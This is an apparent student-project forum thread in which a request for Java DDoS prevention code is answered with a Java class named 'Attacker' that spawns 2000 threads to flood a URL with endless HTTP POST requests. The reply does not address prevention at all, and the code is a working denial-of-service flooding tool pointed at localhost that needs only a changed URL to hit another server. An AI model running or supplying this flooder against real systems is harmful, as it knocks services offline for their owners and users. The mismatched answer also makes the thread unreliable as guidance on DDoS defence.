java code for ddos attack prevention
#1

YES WE ARE LOOKING FOR D-DOS ATTACK PREVENTION PROJECT/SOURCE CODE .HELP ME
Reply
#2
public class Attacker {

public static void main(String... args) throws Exception {
for (int i = 0; i < 2000; i++) {
DdosThread thread = new DdosThread();
thread.start();
}
}

public static class DdosThread extends Thread {

private AtomicBoolean running = new AtomicBoolean(true);
private final String request = "http://localhost:8080/mypath/index.htm";
private final URL url;

String param = null;

public DdosThread() throws Exception {
url = new URL(request);
param = "param1=" + URLEncoder.encode("87845", "UTF-8");
}


@Override
public void run() {
while (running.get()) {
try {
attack();
} catch (Exception e) {

}


}
}

public void attack() throws Exception {
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("charset", "utf-8");
connection.setRequestProperty("Host", "localhost");
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0");
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
connection.setRequestProperty("Content-Length", param);
System.out.println(this + " " + connection.getResponseCode());
connection.getInputStream();
}
}

}
Reply

Important Note..!

If you are not satisfied with above reply ,..Please

ASK HERE

So that we will collect data for you and will made reply to the request....OR try below "QUICK REPLY" box to add a reply to this page
Popular Searches: java coding for ddos attack, ddos attack prevention, ddos code matlab, dos attack prevention code java, java code for detection of ddos attack, java source code for ddos attack prevention, dos attack ip spoofing prevention java code,

[-]
Quick Reply
Message
Type your reply to this message here.

Image Verification
Please enter the text contained within the image into the text box below it. This process is used to prevent automated spam bots.
Image Verification
(case insensitive)

Possibly Related Threads...
Thread Author Replies Views Last Post
  simple java rmi chat application source code 2 19,745 20-07-2018, 12:08 PM
Last Post: Guest
  free download source code for online movie ticket booking in java 2 19,186 15-08-2017, 03:21 PM
Last Post: Morshed
  source code for rsa encryption and decryption in java 2 8,187 29-05-2017, 04:21 PM
Last Post: Meghna Jadhav
  source code for task scheduling using genetic algorithm using java 2 8,698 11-04-2017, 08:31 PM
Last Post: Guest
  source code for suspicious email detection in java Parvesh.2595 2 1,061 23-08-2016, 04:05 PM
Last Post: seminar report asees
  ticket reservation java source code android 3 949 23-08-2016, 10:58 AM
Last Post: Guest
  java netbeans source code employee management system 2 899 21-07-2016, 02:30 PM
Last Post: jaseela123d
  tcl script for blackhole attack graph 1 716 20-07-2016, 02:20 PM
Last Post: anasek
  queue management system in hospital in java with source code 2 908 14-07-2016, 02:39 PM
Last Post: seminar report asees
  lsb 1 bit algorithm implementation java source code 2 933 11-07-2016, 04:44 PM
Last Post: dhanabhagya

Forum Jump: